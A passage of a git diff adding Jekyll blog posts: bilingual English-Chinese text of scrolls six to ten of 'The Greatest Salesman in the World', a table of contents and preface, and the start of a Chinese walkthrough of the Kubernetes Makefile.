+从今往后，我明白了，只有低能者才会江郎才尽，我并非低能者，我必须不断对抗那限些企图摧垮我的力量。失望与悲伤一眼就能被识破，而其它许多敌人是不易察觉的。它们往往面带微笑，招手而来，却随时可能将我摧毁。对它们，我永远不能放松警惕。 + +[6:20] + +If I become overconfident I will recall my failures. + +自高自大时，我要追寻失败的记忆。 + +[6:21] + +If I overindulge I will think of past hungers. + +纵情享受时，我要记得挨饿的日子。 + +[6:22] + +If I feel complacency I will remember my competition. + +洋洋得意时，我要想想竞争的对手。 + +[6:23] + +If I enjoy moments of greatness I will remember moments of shame. + +沾沾自喜时，不要忘了那忍辱的时刻。 + +[6:24] + +If I feel all-powerful I will try to stop the wind. + +自以为是时，看看自己能否让风驻步。 + +[6:25] + +If I attain great wealth I will remember one unfed mouth. + +腰缠万贯时，想想那些食不果腹的人。 + +[6:26] + +If l become overly proud I will remember a moment of weakness. + +骄傲自满时，要想到自己怯懦的时候。 + +[6:27] + +If I feel my skill is unmatched I will look at the stars. + +不可一世时，让我抬头，仰望群星。 + +[6:28] + +Today I will be master of my emotions. + +今天我要学会控制情绪。 + +[6:29] + +And with this new knowledge I will also understand and recognize the moods of him on whom I call. I will make allowances for his anger and irritation of today for he knows not the secret of controlling his mind. I can withstand his arrows and insults for now I know that tomorrow he will change and be a joy to approach. + +有了这项新本领，我也更能体察别人的情绪变化。我宽容怒气冲冲的人，因为他尚未懂得控制自己的情绪，就可以忍受他的指责与辱骂，因为我知道明天他会改变，重新变得随和。 + +[6:30] + +No longer will I judge a man on one meeting; no longer will I fail to call again tomorrow on he who meets me with hate today. This day he will not buy gold chariots for a penny, yet tomorrow he would exchange his home for a tree. My knowledge of this secret will be my key to great wealth. + +我不再只凭一面之交来判断一个人，也不再因一时的怨恨与人绝交，今天不肯花一分钱购买金蓬马车的人，明天也许会用全部家当来换取树苗。知道这个秘密，我可以获得极大的财富。 + +[6:31] + +Today l will be master of my emotions. + +今天我要学会控制自己的情绪。 + +[6:32] + +Henceforth I will recognize and identify the mystery of moods in all mankind, and in me. From this moment I am prepared to control whatever personality awakes in me each day. I will master my moods through positive action and when I master my moods I will control my destiny. + +我从此领悟人类情绪的变化的奥秘。对于自己千变万化的个性，我不再听之任之，我知道，只有积极主动地控制情绪，才能掌握自己的命运。 + +[6:33] + +Today I control my destiny, and my destiny is to become the greatest salesman in the world! + +我控制自己的命运，而我的命运就是成为世界上最伟大的推销员！ + +[6:34] + +I will become master of myself. + +我成为自己的主人。 + +[6:35] + +I will become great. + +我由此而变得伟大。 \ No newline at end of file diff --git a/_posts/2019-06-12-421-the-scroll-marked07.md b/_posts/2019-06-12-421-the-scroll-marked07.md new file mode 100644 index 0000000..e21e2a2 --- /dev/null +++ b/_posts/2019-06-12-421-the-scroll-marked07.md @@ -0,0 +1,140 @@ +--- +layout: post +title: 羊皮卷 第七道 +pid: 421 +tags: [羊皮卷] +--- + + + +The Scroll Marked Seven + +第七道羊皮卷 + +[7:1] + +I will laugh at the world. + +我笑遍世界。 + +[7:2] + +No living creature can laugh except man. Trees may bleed when they are wounded, and beasts in the field will cry in pain and hunger, yet only I have the gift of laughter and it is mine to use whenever I choose. Henceforth I will cultivate the habit of laughter. + +只有人类才会笑。树木受伤时也会流血，禽兽也会因痛苦和饥饿而哭嚎悲鸣，然而，只有我才具备笑的天赋，可以随时开怀大笑。从今往后，我要培养笑的习惯。 + +[7:3] + +I will smile and my digestion will improve; I will chuckle and my burdens will be lightened; I will laugh and my life will be lengthened for this is the great secret of long life and now it is mine. + +笑有助于消化，笑能减轻压力，笑是长寿的秘方。现在我终于掌握了它。 + +[7:4] + +I will laugh at the world. + +我要笑遍世界。 + +[7:5] + +And most of all, I will laugh at myself for man is most comical when he takes himself too seriously. Never will I fall into this trap of the mind. For though I be nature's greatest miracle am I not still a mere grain tossed about by the winds of time? Do I truly know whence I came or whither I am bound? Will my concern for this day not seem foolish ten years hence? Why should I permit the petty happenings of today to disturb me? What can take place before this sun sets which will not seem insignificant in the river of centuries? + +我笑自己，因为自视甚高的人往往显得滑稽。千万不能跌进这个精神陷阱，虽说我是造物主最伟大的奇迹，我不也是沧海一栗吗？我真的知道自己从哪儿来，到哪儿去吗？我现在所关心的事情，十年后看来，不显得愚蠢吗？为什么我要让现在发生的微不足道的琐事烦扰我？在这漫漫的历史长河中，能留下多少日落的记忆？ + +[7:6] + +I will laugh at the world. + +我要笑遍世界。 + +[7:7] + +And how can I laugh when confronted with man or deed which offends me so as to bring forth my tears or my curses? Four words I will train myself to say until they become a habit so strong that immediately they will appear in my mind whenever good humor threatens to depart from me. These words, passed down from the ancients, will carry me through every adversity and maintain my life in balance. These four words are: This too shall pass. + +当我受到别人的冒犯时，当我遇到不如意的事情时，我只会流泪诅咒，却怎么笑得出来？有一句至理名言，我要反复练习，直到它们深入我的骨髓，出口成言，让我永远保持良好的心境。这句话，传自远古时代，它们将伴我度过难关，使我的生活保持平衡。这句至理名言就是：这一切都会过去。 + +[7:8] + +I will laugh at the world. + +我要笑遍世界。 + +[7:9] + +For all worldly things shall indeed pass. When I am heavy with heartache I shall console myself that this too shall pass; when I am puffed with success I shall warn myself that this too shall pass. When I am strangled in poverty I shall tell myself that this too shall pass; when I am burdened with wealth I shall tell myself that this too shall pass. Yea, verily, where is he who built the pyramid? Is he not buried within its stone? And will the pyramid, one day, not also be buried under sand? If all things shall pass why should I be of concern for today? + +世上种种到头来都会成为过去。心力衰竭时，我安慰自己，这一切都会过去；当我因成功洋洋得意时，我提醒自己，这一切都会过去；穷困潦倒时，我告诉自己，这一切都会过去；腰缠万贯时，我也告诉自己，这一切都会过去。是的，昔日修筑金字塔的人早已作古，埋在冰冷的石头下面，而金字塔有朝一日，也会埋在沙土下面。如果世上种种终必成空，我又为何对今天的得失斤斤计较？ + +[7:10] + +I will laugh at the world. + +我要笑遍世界。 + +[7:11] + +I will paint this day with laughter; I will frame this night in song. Never will I labor to be happy; rather will I remain too busy to be sad. I will enjoy today's happiness today. It is not grain to be stored in a box. It is not wine to be saved in a jar. It cannot be saved for the morrow. It must be sown and reaped on the same day and this I will do, henceforth. + +我要用笑声点缀今天，我要用歌声照亮黑夜。我不再苦苦寻觅快乐，我要在繁忙的工作中忘记悲伤。我要享受今天的快乐，它不像粮食可以贮藏，更不似美酒越陈越香。我不是为将来而活。今天播种今天收获。 + +[7:12] + +I will laugh at the world. + +我要笑遍世界。 + +[7:13] + +And with my laughter all things will be reduced to their proper size. I will laugh at my failures and they will vanish in clouds of new dreams; I will laugh at my successes and they will shrink to their true value. I will laugh at evil and it will die untasted; I will laugh at goodness and it will thrive and abound. Each day will be triumphant only when my smiles bring forth smiles from others and this l do in selfishness, for those on whom l flown are those who purchase not my goods. + +笑声中，一切都显露本色。我笑自己的失败，它们将化为梦的云彩；我笑自己的成功，它们恢复本来面目；我笑邪恶，它们远我而去；我笑善良，它们发扬光大。我要用我的笑容感染别人，虽然我的目的自私，但这的确是成功之道，因为皱起的眉头会让顾客弃我而去。 + +[7:14] + +I will laugh at the world. + +我要笑遍世界。 + +[7:15] + +Henceforth will l shed only tears of sweat, for those of sadness or remorse or frustration are of no value in the market place whilst each smile can be exchanged for gold and each kind word, spoken from my heart, can build a castle. + +从今往后，我只因幸福而落泪，因为悲伤、悔恨、挫折的泪水在商场上毫无价值，只有微笑可以换来财富，善言可以建起一座城堡。 + +[7:16] + +Never will l allow myself to become so important, so wise, so dignified, so powerful, that I forget how to laugh at myself and my world. In this matter I will always remain as a child, for only as a cl1ild am I given the ability to look up to others; and so long as I 1ook up to another I will never grow too long for my cot. + +我不再允许自己因为变得重要、聪明、体面、强大，而忘记如何嘲笑自己和周围的一切。在这一点上，我要永远像小孩子一样，因为只有做回小孩，我才能尊敬别人，尊敬别人，我才不会自以为是。 + +[7:17] + +I will laugh at the world. + +我要笑遍世界。 + +[7:18] + +And so long as I can laugh never will I be poor. This, then, is one of nature's greatest gifts, and l will waste it no more. Only with laughter and happiness can l truly become a success. Only with laughter and happiness can I enjoy the fruits of my labor. Were it not so, far better would it be to fail, for happiness is the wine that sharpens the taste of the meal. To enjoy success I must have happiness, and laughter will be the maiden who serves me. + +只要我能笑，就永远不会贫穷。这也是天赋，我不再浪费它。只有在笑声和快乐中，我才能真正体会到成功的滋味。只有在笑声和快乐中，我才能享受到劳动的果实。如果不这样的话，我会失败，因为快乐是提味的美酒佳酿。要想享受成功，必须先有快乐，而笑声便是那伴娘。 + +[7:19] + +I will be happy. + +我要快乐。 + +[7:20] + +I will be successful. + +我要成功。 + +[7:21] + +I will be the greatest salesman the world has ever known. + +我要成为世上最伟大的推销员。 \ No newline at end of file diff --git a/_posts/2019-06-12-422-the-scroll-marked08.md b/_posts/2019-06-12-422-the-scroll-marked08.md new file mode 100644 index 0000000..bc73bfc --- /dev/null +++ b/_posts/2019-06-12-422-the-scroll-marked08.md @@ -0,0 +1,200 @@ +--- +layout: post +title: 羊皮卷 第八道 +pid: 422 +tags: [羊皮卷] +--- + + + +The Scroll Marked Eight + +第八道羊皮卷 + +[8:1] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:2] + +A mulberry leaf touched with the genius of man becomes silk. + +桑叶在天才的手中变成丝绸。 + +[8:3] + +A field of clay touched with the genius of man becomes a castle. + +粘土在天才的手中变成堡垒。 + +[8:4] + +A Cyprus tree touched with the genius of man becomes a shrine. + +柏树在天才的手中变成殿堂。 + +[8:5] + +A cut of sheep's hair touched with the genius of man becomes raiment for a king. + +羊毛在天才的手中变成袈裟。 + +[8:6] + +If it is possible for leaves and clay and wood and hair to have their value multiplied a hundred, yea a thousandfold by man, cannot I do the same with the clay which bears my name? + +如果桑叶、粘土、柏树、羊毛经过人的创造，可以成百上千倍地提高自身的价值，那么我为什么不能使自己身价百倍呢？ + +[8:7] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:8] + +I am liken to a grain of wheat which faces one of three futures. The wheat can be placed in a sack and dumped in a stall until it is fed to swine. Or it can be ground to flour and made into bread. Or it can be placed in the earth and allowed to grow until its golden head divides and produces a thousand grains from the one. + +我的命运如同一颗麦粒，有着三种不同的道路。一颗麦粒可以被装进麻袋，堆在货架上，等着喂猪；也可能被磨成面粉，做成面包；还可能撒在土壤里，让它生长，直到金黄色的麦穗上结出成百上千颗麦粒。 + +[8:9] + +I am liken to a grain of wheat with one difference. The wheat cannot choose whether it be fed to swine, ground for bread, or planted to multiply. I have a choice and I will not let my life be fed to swine nor will I let it be ground under the rocks of failure and despair to be broken open and devoured by the will of others. + +我和一颗麦粒唯一不同的在于，麦粒无法选择是变得腐烂还是做成面包，或者种植生长。而我有选择的自由，我不会让生命腐烂，也不会让它在失败、绝望的岩石下磨碎，任人摆布。 + +[8:10] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:11] + +To grow and multiply it is necessary to plant the wheat grain in the darkness of the earth and my failures, my despairs, my ignorance, and my inabilities are the darkness in which I have been planted in order to ripen. Now, like the wheat grain which will sprout and blossom only if it is nurtured with rain and sun and warm winds, I too must nurture my body and mind to fulfill my dreams. But to grow to full stature the wheat must wait on the whims of nature. I need not wait for I have the power to choose my own destiny. + +我想让麦粒生长、结实，必须把它种植在黑暗的泥土中，我的失败、失望、无知、无能便是那黑暗的泥土，我须深深地扎在泥土中，等待成熟。麦粒在阳光雨露的哺育下，终将发芽、开花、结实。同样，我也要健全自己的身体和心灵，以实现自己的梦想。麦粒须等待大自然的契机方能成熟，我却无须等待，因为我有选择自己命运的能力。 + +[8:12] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:13] + +And how will I accomplish this? First I will set goals for the day, the week, the month, the year, and my life. Just as the rain must fall before the wheat will crack its shell and sprout, so must I have objectives before my life will crystallize. Insetting my goals I will consider my best performance of the past and multiply it a hundredfold. This will be the standard by which I will live in the future. Never will I be of concern that my goals are too high for is it not better to aim my spear at the moon and strike only an eagle than to arm my spear at the eagle and strike only a rock? + +怎样才能做到呢？首先，我要为每一天、每个星期、每个月、每一年、甚至我的一生确定目标。正像种子需要雨水的滋润才能破土而出，发芽长叶，我的生命也须有目标方能结出硕果。在制定目标的时候，不妨参考过去最好的成绩，使其发扬光大。这必须成为我未来生活的目标。永远不要担心目标过高。取法乎上，得其中也，取法乎中，得其下也。 + +[8:14] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:15] + +The height of my goals will not hold me in awe though I may stumble often before they are reached. If I stumble I will rise and my falls will not concern me for all men must stumble often to reach the hearth. Only a worm is free from the worry of stumbling. I am not a worm. I am not an onion plant. I am not a sheep. I am a man. Let others build a cave with their clay. I will build a castle with mine. + +高远的目标不会让我望而生畏，虽然在达到目标以前可能屡受挫折。摔倒了，再爬起来，我不灰心因为每个人在抵达目标前都会受到挫折。只有小爬虫不必担心摔倒。我不是小爬虫，不是洋葱，不是绵羊。我是一个人。让别人挖他们的粘土造洞穴吧，我只要建一座城堡。 + +[8:16] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:17] + +And just as the sun must warm the earth to bring forth the seedling of wheat so, too, will the words on these scrolls warm my life and turn my dreams into reality. Today I will surpass every action which I performed yesterday. I will climb today's mountain to the utmost of my ability yet tomorrow I will climb higher than today, and the next will be higher than tomorrow. To surpass the deeds of others is unimportant; to surpass my own deeds is all. + +太阳温暖大地，麦粒吐穗结实。这些羊皮卷上的话也会照耀我的生活，使梦想成真。今天我要超越昨日的成就。我要竭尽全力攀登今天的高峰，明天更上一层楼。超越别人并不重要，超越自己才是最重要的。 + +[8:18] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:19] + +And just as the warm wind guides the wheat to maturity, the same winds will carry my voice to those who will listen and my words will announce my goals. Once spoken I dare not recall them lest I lose face. I will be as my own prophet and though all may laugh at my utterances they will hear my plans, they will know my dreams; and thus there will be no escape for me until my words become accomplished deeds. + +春风吹熟了麦穗，风声也将我的声音吹往那些愿意聆听者的耳畔。我要宣布自己的目标。君子一言，驷马难追。我要成为自己的预言家。虽然大家可能嘲笑我的言辞但会倾听我的计划，了解我的梦想，因此我无处可逃，直到兑现了诺言。 + +[8:20] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:21] + +I will commit not the terrible crime of aiming too low. + +我不能放低目标。 + +[8:22] + +I will do the work that a failure will not do. + +我要做失败者不屑一顾的事。 + +[8:23] + +I will always let my reach exceed my grasp. + +我不停留在力所能及的事上。 + +[8:24] + +I will never be content with my performance in the market. + +我不满足于现有的成就。 + +[8:25] + +I will always raise my goals as soon as they are attained. + +目标达到后再定一个更高的目标。 + +[8:26] + +I will always strive to make the next hour better than this one. + +我要努力使下一刻比此刻更好。 + +[8:27] + +I will always announce my goals to the world. + +我要常常向世人宣告我的目标。 + +[8:28] + +Yet, never will I proclaim my accomplishments. Let the world, instead, approach me with praise and may I have the wisdom to receive it in humility. + +但是我决不炫耀我的成绩。让世人来赞美我的吧，但愿我能明智而谦恭地接受它们。 + +[8:29] + +Today I will multiply my value a hundredfold. + +今天我要加倍重视自己的价值。 + +[8:30] + +One grain of wheat when multiplied a hundredfold will produce a hundred stalks. Multiply these a hundredfold, ten times, and they will feed all the cities of the earth. Am I not more than a grain of wheat? + +一颗麦粒增加数倍以后，可以变成数千株麦苗，再把这些麦苗增加数倍，如此数十次，它们可以供养世上所有的城市。难道我不如一颗麦粒儿吗？ + +[8:31] + +And when it is done I will do it again, and again, and there will be astonishment and wonder at my greatness as the words of these scrolls are fulfilled in me. + +当我完成这件事，我要再接再厉。当羊皮卷上的话在我心中实现时，世人会惊叹我的伟大。 \ No newline at end of file diff --git a/_posts/2019-06-12-423-the-scroll-marked09.md b/_posts/2019-06-12-423-the-scroll-marked09.md new file mode 100644 index 0000000..ed5a9f0 --- /dev/null +++ b/_posts/2019-06-12-423-the-scroll-marked09.md @@ -0,0 +1,212 @@ +--- +layout: post +title: 羊皮卷 第九道 +pid: 423 +tags: [羊皮卷] +--- + + + +The Scroll Marked IX + +第九道羊皮卷 + +[9:1] + +My dreams are worthless, my plans are dust, my goals are impossible. + +我的幻想毫无价值，我的计划渺如尘埃，我的目标不可能达到。 + +[9:2] + +All are of no value unless they are followed by action. + +一切的一切毫无意义，除非我付诸行动。 + +[9:3] + +I will act now. + +我现在就付诸行动。 + +[9:4] + +Never has there been a map, however carefully executed to detail and scale, which carried its owner over even one inch of ground. Never has there been a parchment of law, however fair, which prevented one crime. Never has there been a scroll, even such as the one I hold, which earned so much as a penny or produced a single word of acclamation. Action, alone, is the tinder which ignites the map, the parchment, this scroll, my dreams, my plans, my goals, into a living force. Action is the food and drink which will nourish my success. + +一张地图，不论多么详尽，比例多精确，它永远不可能带着它的主人在地面上移动半步。一个国家的法律，无论多么公正，永远不可能防止罪恶的发生。任何宝典，即使在我手中的羊皮卷，永远不可能创造财富。只有行动才能使地图、法律、宝典、梦想、计划、目标具有现实意义。行动，像食品和水一样，能滋润我，使我成功。 + +[9:5] + +I will act now. + +我现在就付诸行动。 + +[9:6] + +My procrastination which has held me back was born of fear and now I recognize this secret mined from the depths of all courageous hearts. Now I know that to conquer fear I must always act without hesitation and the flutters in my heart will vanish. Now I know that action reduces the lion of terror to an ant of equanimity. + +拖延使我裹足不前，它来自恐惧。现在我从所有勇敢的心灵深处，体会到这一秘密。我知道，我要克服恐惧，必须毫不犹豫，起而行动，唯其如此，心中的慌乱方得以平定。现在我知道，行动会使猛狮般的恐惧，减缓为蚂蚁般的平静。 + +[9:7] + +I will act now. + +我现在就付诸行动。 + +[9:8] + +Henceforth, I will remember the lesson of the firefly who gives of its light only when it is on the wing, only when it is in action. I will become a firefly and even in the day my glow will be seen in spite of the sun. Let others be as butterflies who preen their wings yet depend on the charity of a flower for life. I will be as the firefly and my light will brighten the world. + +从此我要记住萤火虫的启迪：只有在振翅的时候，才能发出光芒。我要成为一只萤火虫，即使在艳阳高照的白天，我也要发出光芒。让别人像蝴蝶一样。舞动翅膀，靠花朵的施舍生活；我要做萤火虫，照亮大地。 + +[9:9] + +I will act now. + +我现在就付诸行动。 + +[9:10] + +I will not avoid the tasks of today and charge them to tomorrow for I know that tomorrow never comes. Let me act now even though my actions may not bring happiness or success for it is better to act and fail than not to act and flounder. Happiness, in truth, may not be the fruit plucked by my action yet without action all fruit will die on the vine. + +我不把今天的事情留给明天，因为我知道明天是永远不会来临的。现在就去行动吧！即使我的行为不会带来快乐与成功，但是动而失败总比坐而待毙好。行动也许不会结出快乐的果实，但没有行动，所有的果实都无法收获。 + +[9:11] + +I will act now. + +我现在就付诸行动。 + +[9:12] + +I will act now. I will act now. I will act now. Henceforth, I will repeat these words again and again and again, each hour, each day, every day, until the words become as much a habit as my breathing and the actions which follow become as instinctive as the blinking of my eyelids. With these words I can condition my mind to perform every act necessary for my success. With these words I can condition my mind to meet every challenge which the failure avoids. + +立刻行动。立刻行动。立刻行动。从今往后，我要一遍又一遍，每时每刻重复这句话，直到成为习惯，好比呼吸一般，成为本能，好比眨眼一样。有了这句话，我就能调整自己的情绪，迎接失败者避而远之的每一次挑战。 + +[9:13] + +I will act now. + +我现在就付诸行动。 + +[9:14] + +I will repeat these words again and again and again. + +我要一遍又一遍地重复这句话。 + +[9:15] + +When I awake I will say them and leap from my cot while the failure sleeps yet another hour. + +清晨醒来时，失败者流连于床榻，我却要默诵这句话，然后开始行动。 + +[9:16] + +I will act now. + +我现在就付诸行动。 + +[9:17] + +When I enter the market place I will say them and immediately confront my first prospect while the failure ponders yet his possibility of rebuff. + +外出推销时，失败者还在考虑是否会遇到拒绝的时候，我要默诵这句话，面对第一个来临的顾客。 + +[9:18] + +I will act now. + +我现在就付诸行动。 + +[9:19] + +When I face a closed door I will say them and knock while the failure waits outside with fear and trepidation. + +面对紧闭的大门时，失败者怀着恐惧与惶惑的心情，在门外等候；我却默诵着句话，随即上前敲门。 + +[9:20] + +I will act now. + +我现在就付诸行动。 + +[9:21] + +When I face temptation I will say them and immediately act to remove myself from evil. + +面对诱惑时，我默诵这句话，然后远离罪恶。 + +[9:22] + +I will act now. + +我现在就付诸行动。 + +[9:23] + +Only action determines my value in the market place and to multiply my value I will multiply my actions. I will walk where the failure fears to walk. I will work when the failure seeks rest. I will talk when the failure remains silent. I will call on ten who can buy my goods while the failure makes grand plans to call on one. I will say it is done before the failure says it is too late. + +只有行动才能决定我在商场上的价值。若要加倍我的价值，我必须加倍努力。我要前往失败者惧怕的地方，当失败者休息的时候，我要继续工作。失败者沉默的时候，我开口推销，我要拜访十户可能买我东西的人家，而失败者在一番周详的计划之后，却只拜访一家。在失败者认为为时太晚时，我能够说大功告成。 + +[9:24] + +I will act now. + +我现在就付诸行动。 + +[9:25] + +For now is all I have. Tomorrow is the day reserved for the labor of the lazy. I am not lazy. Tomorrow is the day when the evil become good. I am not evil. Tomorrow is the day when the weak become strong. I am not weak. Tomorrow is the day when the failure will succeed. I am not a failure. + +现在是我的所有。明日是为懒汉保留的工作日，我并不懒惰；明日是弃恶从善的日子，我并不邪恶；明日是弱者变强者的日子，我并不软弱；明日是失败者借口成功的日子，我并不是失败者。 + +[9:26] + +I will act now. + +我现在就付诸行动。 + +[9:27] + +When the lion is hungry he eats. When the eagle has thirst he drinks. Lest they act, both will perish. + +我是雄狮，我是苍鹰，饥即食，渴即饮。除非行动，否则死路一条。 + +[9:28] + +I hunger for success. I thirst for happiness and peace of mind. Lest I act I will perish in a life of failure, misery, and sleepless nights. + +我渴望成功，快乐，心灵的平静。除非行动，否则我将在失败、不幸、夜不成眠的日子中死亡。 + +[9:29] + +I will command, and I will obey mine own command. + +我发布命令。我要服从自己的命令。 + +[9:30] + +I will act now. + +我现在就付诸行动。 + +[9:31] + +Success will not wait. If I delay she will become betrothed to another and lost to me forever. + +成功不是等待。如果我迟疑，她会投入别人的怀抱，永远弃我而去。 + +[9:32] + +This is the time. This is the place. I am the man. + +此时。此地。此人。 + +[9:33] + +I will act now. + +我现在就付诸行动。 \ No newline at end of file diff --git a/_posts/2019-06-12-424-the-scroll-marked10.md b/_posts/2019-06-12-424-the-scroll-marked10.md new file mode 100644 index 0000000..bf40eee --- /dev/null +++ b/_posts/2019-06-12-424-the-scroll-marked10.md @@ -0,0 +1,32 @@ +--- +layout: post +title: 羊皮卷 第十道 +pid: 424 +tags: [羊皮卷] +--- + + + +第十道羊皮卷 + +[10:1] + +面对黎明，我不在茫然。 + +[10:2] + +在羊皮卷的启示下，我开始了新的生活，仅仅几天时间，我的内心被一种奇妙的力量鼓舞着。 + +[10:3] + +那几乎被岁月所泯灭的希望，重新回到了我的心中。无论是胜利还是挫折、爱还是心碎、狂喜还是痛苦、赞许还是拒绝、成功还是失败。我总能在祈祷中点燃心中的信念，这种信念带着我穿越疑惑的迷雾，走出空空荡荡的黑暗，跨越布满疾病与痛哭的荆棘之路，免受危险的诱惑。 + +[10:4] + +我不祈求小恩小惠，只祈祷溟冥之神为我指点迷津，引导我，帮助我，让我看到前方的路。 + +[10:5] + +面对黎明，我不在茫然。 \ No newline at end of file diff --git a/_posts/2019-06-12-425-the-scroll-marked.md b/_posts/2019-06-12-425-the-scroll-marked.md new file mode 100644 index 0000000..d24882e --- /dev/null +++ b/_posts/2019-06-12-425-the-scroll-marked.md @@ -0,0 +1,75 @@ +--- +layout: post +title: 羊皮卷 目录 +pid: 425 +tags: [羊皮卷] +--- + + +# 目录 + +[羊皮卷 序言](http://www.baoguoding.com/2019/06/426-the-scroll-marked00.html) + + + +[羊皮卷 第一道](http://www.baoguoding.com/2019/06/415-the-scroll-marked01.html) + + + +[羊皮卷 第二道](http://www.baoguoding.com/2019/06/416-the-scroll-marked02.html) + + + +[羊皮卷 第三道](http://www.baoguoding.com/2019/06/417-the-scroll-marked03.html) + + + +[羊皮卷 第四道](http://www.baoguoding.com/2019/06/418-the-scroll-marked04.html) + + + +[羊皮卷 第五道](http://www.baoguoding.com/2019/06/419-the-scroll-marked05.html) + + + +[羊皮卷 第六道](http://www.baoguoding.com/2019/06/420-the-scroll-marked06.html) + + + +[羊皮卷 第七道](http://www.baoguoding.com/2019/06/421-the-scroll-marked07.html) + + + +[羊皮卷 第八道](http://www.baoguoding.com/2019/06/422-the-scroll-marked08.html) + + + +[羊皮卷 第九道](http://www.baoguoding.com/2019/06/423-the-scroll-marked09.html) + + + +[羊皮卷 第十道](http://www.baoguoding.com/2019/06/424-the-scroll-marked10.html) + + \ No newline at end of file diff --git a/_posts/2019-06-13-426-the-scroll-marked00.md b/_posts/2019-06-13-426-the-scroll-marked00.md new file mode 100644 index 0000000..2902b9c --- /dev/null +++ b/_posts/2019-06-13-426-the-scroll-marked00.md @@ -0,0 +1,38 @@ +--- +layout: post +title: 羊皮卷 序言 +pid: 426 +tags: [羊皮卷] +--- + + + +[0:1] + +两千年前，在今天阿拉伯地区的沙漠地带，有一个赶骆驼的男孩儿，名叫海菲。他最急切的愿望就是要改变他地位低下的生活，因为，他爱上了一个美丽的姑娘，而姑娘的父亲却富有而势利。 + +[0:2] + +他的愿望获得了他的老板——大名鼎鼎的皮货商人柏萨罗的支持。为了验证他的潜力，柏萨罗派他到一个名叫伯利恒的小镇去卖一件袍子。然而，他却失败了，因为出于一时的怜悯，他把袍子送给了客栈附近山洞里一个需要取暖的新出生的婴儿。 + +[0:3] + +海菲满是羞愧地回到皮货商那里，但有一颗明星却一直跟随在他头顶上方闪烁。柏萨罗将这种现象解释为上帝的启示，于是，他给了男孩儿十道羊皮卷，那里面记载着震撼古今的商业大机密，有实现男孩儿所有抱负所必须的智慧。 + +[0:4] + +海菲顺着这十道羊皮卷的指引，带着老板给他的一笔本金，离开了驼群，走向远方，正式开始了他独立谋生的推销生涯。 + +[0:5] + +若干年后，这个男孩儿成了一名富有的商人，并娶回了自己心爱的姑娘。他的成就在继续扩大，不久，一座浩大的商业王国在古阿拉伯半岛崛起。 + +[0:6] + +熟悉以上这段文字的人都明白，这是一部奇书的故事梗概，它的名字叫《世界上最伟大的推销员》。作者奥格·曼狄诺，美国人，一位杰出的企业家、作家和演说家。 + +[0:7] + +每一个时代都会产生他的有力量的文学。这种文学作品所蕴含的力量如此之大，甚至能够改变读者的生活命运，《世界上最伟大的推销员》就是这样的作品，他那如诗歌般美妙的文字，闪烁着人类智慧的光华，注定要影响无数人的生活，现在，我们就把这本书中的十道羊皮卷奉献给大家。 \ No newline at end of file diff --git a/_posts/2019-06-19-427-k8s-Makefile.md b/_posts/2019-06-19-427-k8s-Makefile.md new file mode 100644 index 0000000..b39879c --- /dev/null +++ b/_posts/2019-06-19-427-k8s-Makefile.md @@ -0,0 +1,764 @@ +--- +layout: post +title: 解读K8S Makefile +pid: 427 +tags: [k8s] +--- + +# 文件路径 + +1. Makefile -> build/root/Makefile +2. Makefile.generated_files -> build/root/Makefile.generated_files +3. hack/run-in-gopath.sh +4. hack/lib/init.sh +5. hack/lib/util.sh +6. hack/lib/logging.sh +7. hack/lib/version.sh +8. hack/lib/golang.sh +9. hack/lib/etcd.sh + + + +# DEBUG开关 + +通过参数DBG_MAKEFILE控制Debug模式是否打开。 + +``` shell +DBG_MAKEFILE ?= +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** starting Makefile for goal(s) "$(MAKECMDGOALS)") + $(warning ***** $(shell date)) +else + # If we're not debugging the Makefile, don't echo recipes. + MAKEFLAGS += -s +endif +``` + +比如 + +```shell +make test DBG_MAKEFILE=1 +``` + +则输入结果为 + +```shell +Makefile:3: ***** starting Makefile for goal(s) "test" +Makefile:4: ***** Wed Jun 19 15:06:43 CST 2019 +make: Nothing to be done for `test'. +``` + +# 指定bash + +```shell +SHELL := /bin/bash +``` + +# 关闭隐含规则 + +```shell +MAKEFLAGS += --no-builtin-rules +.SUFFIXES: +``` + +以及用“后缀规则”来定义隐含规则。 + +# 指定环境变量 + +```shell +.EXPORT_ALL_VARIABLES: +OUT_DIR ?= _output +BIN_DIR := $(OUT_DIR)/bin +PRJ_SRC_PATH := k8s.io/kubernetes +GENERATED_FILE_PREFIX := zz_generated. +``` + +# xxx + +```shell +# Metadata for driving the build lives here. +META_DIR := .make +``` + +# GOFLAGS + +```shell +ifdef KUBE_GOFLAGS +$(info KUBE_GOFLAGS is now deprecated. Please use GOFLAGS instead.) +ifndef GOFLAGS +GOFLAGS := $(KUBE_GOFLAGS) +unexport KUBE_GOFLAGS +else +$(error Both KUBE_GOFLAGS and GOFLAGS are set. Please use just GOFLAGS) +endif +endif +``` + +# 指定 release 或者 quick-release选项 + +```shell +KUBE_RELEASE_RUN_TESTS := $(KUBE_RELEASE_RUN_TESTS) +KUBE_FASTBUILD := $(KUBE_FASTBUILD) +``` + +# xx + +```shell +KUBE_VERBOSE ?= 1 +``` + +# all + +```shell +define ALL_HELP_INFO +# Build code. +# +# Args: +# WHAT: Directory names to build. If any of these directories has a 'main' +# package, the build will produce executable files under $(OUT_DIR)/go/bin. +# If not specified, "everything" will be built. +# GOFLAGS: Extra flags to pass to 'go' when building. +# GOLDFLAGS: Extra linking flags passed to 'go' when building. +# GOGCFLAGS: Additional go compile flags passed to 'go' when building. +# +# Example: +# make +# make all +# make all WHAT=cmd/kubelet GOFLAGS=-v +# make all GOGCFLAGS="-N -l" +# Note: Use the -N -l options to disable compiler optimizations an inlining. +# Using these build options allows you to subsequently use source +# debugging tools like delve. +endef +.PHONY: all +ifeq ($(PRINT_HELP),y) +all: + @echo "$$ALL_HELP_INFO" +else +all: generated_files + hack/make-rules/build.sh $(WHAT) +endif +``` + +# ginkgo +```shell +define GINKGO_HELP_INFO +# Build ginkgo +# +# Example: +# make ginkgo +endef +.PHONY: ginkgo +ifeq ($(PRINT_HELP),y) +ginkgo: + @echo 